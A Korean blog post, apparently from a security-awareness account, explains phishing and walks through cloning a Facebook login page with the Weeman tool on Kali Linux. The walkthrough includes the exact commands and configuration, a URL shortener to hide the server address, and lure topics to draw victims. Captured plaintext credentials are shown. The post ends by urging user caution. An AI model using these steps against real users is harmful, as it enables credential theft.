안녕하세요!

@secure-kor의 본격적인 첫 글이네요. <sub>*(어깨에 힘빼고)*</sub>

가볍게 읽을 수 있는 주제가 뭐가 있을까~? 하다가 정한 오늘의 주제는 바로!! 

 <B> 피싱입니다. </B> ~~낚시죠 낚시.. 여러분들을 낚...~~

#### 엥?ㅋ 그거 나는 안 당하는뎅 바보들만 당하는거 아닌감? <br /> <br />
https://cdn.steemitimages.com/DQmWEhj7M1Vd9Z61XgtvhQWKY6WdFArxsKNVjyQz9czttpX/steemicon_c_9_%EB%A9%98%EB%B6%95.jpg

그래서! 실제 피싱 사례들을 보고 직접 모의상황을 구성해보겠습니다.<br />
https://cdn.steemitimages.com/DQmWkvpgKNkjM3pRn1EQ2hK1vX7ae6mBmt9R74xgmhxFyQK/steemicon_c_3_%EA%B2%81%EB%82%98%EC%A2%8B%EA%B5%B0.jpg
<br/><center><B>출발~!</B> </center><br/>
<center>
https://cdn.steemitimages.com/DQmPUEwx7GNuHz7RFd6ay39oMDGzcFm2NhCExRc3mjz6xGB/1_3_phishing.png
</center>
<div class=text-right><sup>(그림1)▲합성어 피싱(Phishing)의 정의</sup></div>
사실 피싱은 전통있는 공격입니다. 우표를 붙여 편지를 보내던 시절부터 <br />
2018년 블록체인시대까지 꾸준히 이어지는 공격이니까요.<br /> <br /><br />
<center>
https://cdn.steemitimages.com/DQmWMALy4fPGeEc4wAD9uNuVBSpwGD9NXsxxLZM5Jnis4g1/1_1_news.PNG
</center>
<div class=text-right><sup>(그림2)▲ 카스퍼스키랩, '2018년 1분기 스팸·피싱 보고서’ 발간 [이미지=보안뉴스 오다인기자](http://www.boannews.com/media/view.asp?idx=70095)</sup></div>
<center>
https://cdn.steemitimages.com/DQmZsBWDEaunFvYgciCTqTxwbf5mdXDBgBrprLLZUvMazN6/1_2_%EC%8B%A4%EC%A0%9C.jpg
</center>
<div class=text-right><sup>(그림3)▲페이스북 로그인 화면을 복제한 피싱 페이지 사례[이미지=카스퍼스키랩 블로그]</sup></div><br />
"카스퍼스키랩(Kaspersky Lab)의 ‘2018년 1분기 스팸·피싱 보고서’에 따르면, 총 370만 건의 소셜 네트워크 서비스(SNS) 피싱 시도 가운데 60%가 가짜 페이스북 페이지였던 것으로 나타났다."<br />
라고 보고서를 냈습니다. 카스퍼스키회사에서 수집한 정보만 370만건이니.. 엄청 핫 하죠!? <br /> <br />

<div class="text-justify">
<div class="pull-left">
https://cdn.steemitimages.com/DQmaSe7r7PNp3uPnsRaXkhgETepKKB94BHb1g7QEG3RHUg3/fffffff.png
</div>
<div class="pull-right">
</div><br /><br />
여러 SNS중에 왜 페이스북이냐! 라고 한다면, <br />
해커는 이용자가 많은 페이스북으로 몰리는게 인지상정!<br /><br/>
그래서 지금부터 가짜 페이스북 로그인 사이트를 만들어 보겠습니다! 
<br /><br /><br /><br /></div>
<br />
https://cdn.steemitimages.com/DQmdrQnfKsTemkkEjGKjsoS7WPD9t9DyfCPdwRDbuhjcVKW/image.png
<div class=text-right><sup>(그림4)▲kali liunx 부팅</sup></div>
1. 서버역할을 해줄 가상머신에 kali linux를 준비합니다. <br /><br /><br />
https://cdn.steemitimages.com/DQmXEzGkY2iAx8y6omfu1GgQz8krojfVzBLGUzCerhv8Yga/image.png
<div class=text-right><sup>(그림5)▲WEEMAN 깃허브</sup></div>
2. 사이트 복제를 위한 도구로 WEEMAN을 사용합니다. <br />
&nbsp;&nbsp; github에 누구에게나 공개되어있습니다. 
&nbsp; [https://github.com/samyoyo/weeman] <br /><br />
&nbsp;&nbsp; 우리가 이용하는 스팀, 스팀잇도 깃허브에 오픈소스로 공개되어있습니다.<br />
&nbsp;&nbsp; 비트코인과같은 다른 블록체인 암호화폐들도 마찬가지입니다.<br />
&nbsp;&nbsp; <sup> [스팀](https://github.com/steemit/steem)&nbsp;&nbsp; [비트코인](https://github.com/bitcoin/bitcoin)</sup>
<br /><br />
https://cdn.steemitimages.com/DQmRV3JRgkcrY6oAbHqA8ynNJEoQ8sVcbRbFiQpxgk6Gp5j/image.png
<div class=text-right><sup>(그림6)▲running weeman demon </sup></div>
3.   커맨드라인에서 아래와 같이 입력합니다.<br />
  <pre><code>  root@kali:~# git clone https://github.com/samyoyo/weeman
  'weeman'에 복제합니다...
  remote: Counting objects: 61, done.
  remote: Total 61 (delta 0), reused 0 (delta 0), pack-reused 61
  오브젝트 묶음 푸는 중: 100% (61/61), 완료.
  root@kali:~# cd /root/weeman/
  root@kali:~/weeman# ./weeman.py  </code></pre><br />
https://cdn.steemitimages.com/DQmT1fitE6JJnK5wdyYk2c2ESh6eHt8VyLQ7FZiqLNsWRJM/image.png
<div class=text-right><sup>(그림7)▲weeman configuration settings </sup></div>
4. 데몬이 실행되면 아래와 같이 설정하고 데몬을 실행합니다.<br />
 <pre><code>    (weeman ) : set url https://www.facebook.com/login #복제할 페이지 주소값
    (weeman ) : set action_url https://www.facebook.com/ #로그인 후 Redirect할 주소값
    (weeman ) : set port 80 #피싱서버포트
    (weeman ) : show #현재 설정된 값을들 보여줌
	-----------------------------------------
	url        : https://www.facebook.com/login 
	port       : 80 
	action_url : https://www.facebook.com/ 
	user_agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
                                   Chrome/41.0.2227.0 Safari/537.36 
	-----------------------------------------
   (weeman ) : run #데몬 시작(사이트 복제 및 서버가동)</code></pre><br />
https://cdn.steemitimages.com/DQmcS87wxfPTJbyw7sLpaDbrHBhTR6WihEjE9SU5LZvDZhA/image.png
<div class=text-right><sup>(그림8)▲가짜 로그인 페이지 개설성공 </sup></div>
5. 서버의 내부주소(192.168.139.128)로 접속해서 가짜 사이트가 만들어졌는지 확인합니다.<br />
&nbsp;&nbsp; https://bitly.com/ 에 접속하여 숫자로 된 주소를 영문으로 매핑합니다.
<center>
https://cdn.steemitimages.com/DQmTeXgTRNbJMZDAkr8NhyCeALtHpKvGqPPLtUEtuY2pmvc/image.png
</center>
<div class=text-right><sup>(그림9)▲IP주소=영문주소 매핑 </sup></div>
6. 주소단축 서비스를 이용해 원래 주소를 숨기는 작업입니다. <br />
Xttps://bit.ly/1F0td18(=192.168.139.128) 주소로 접속하면 가짜 페이지로 이동합니다.<br /><br />
<center>
https://cdn.steemitimages.com/DQmYTwRsTnYeWUXbEoQyvrCHLCoPfP5o3tNZ4b3SSuXJyk5/image.png
</center>
<div class=text-right><sup>(그림10)▲흥미를 이끌만한 게시물 게시 </sup></div>
7. 흥미를 이끌만한 게시글을 올려서 가짜사이트로 접속을 유도하는 과정이 필요합니다!

> 이벤트, 무료증정, 음란물, 각종사회이슈(북한,연예인 등), 공짜, 노출, 제품리뷰, 기프티콘

https://cdn.steemitimages.com/DQmYS83xVUEGSAUnxRGGJRsmArPKgenXcDuzZq3nqfMooZu/%EA%B7%B8%EB%A6%BC3.png
<div class=text-right><sup>(그림11)▲피해자들의 주목을 끄는데 성공 </sup></div>
8. 이렇게 무심결에 로그인하게 되면 계정정보가 유출되는 상황입니다.<br /><br />
https://cdn.steemitimages.com/DQmTdVe76L9wq4HYgXmJcFvUpafuAWJK2k4XHaU95uGEqC2/%EA%B7%B8%EB%A6%BC4.png
<div class=text-right><sup>(그림12)▲실시간으로 공격서버에 계정정보 저장 </sup></div>
9. 공격자 서버에 저장된 평문을 볼 수 있습니다. <br />
&nbsp; 가짜 페이스북 페이지를 클론하는데 걸리는 시간은 1분도 안걸리는 걸 알 수 있습니다.<br />
https://youtu.be/WM2azJfAztE
<div class=text-right><sup>(영상1)▲위에 과정들을 영상으로 보시죠!!  귀차니즘으로 인한 소리 무 </sup></div><br />
<hr />
<B>자 이렇게 첫 포스팅이 끝났습니다. </B><br />
내용은 세상 짧은데 올리는데는 한참걸렸네요. 적응안되는 스팀잇...

피싱은 기술적인 공격이라기 보다는 이용자들의 부주의를 유도하는 공격이기 떄문에

사용자들의 주의가 최우선의 방어입니다!

고래 -> 주소에 참여하면 보팅이벤트 -> 무심결에 스팀잇 로그인 -> 프라이빗키 유출
<br />가능성 있는 시나리오 입니다! 모두모두 조심합니다.

또 만나요 안녕~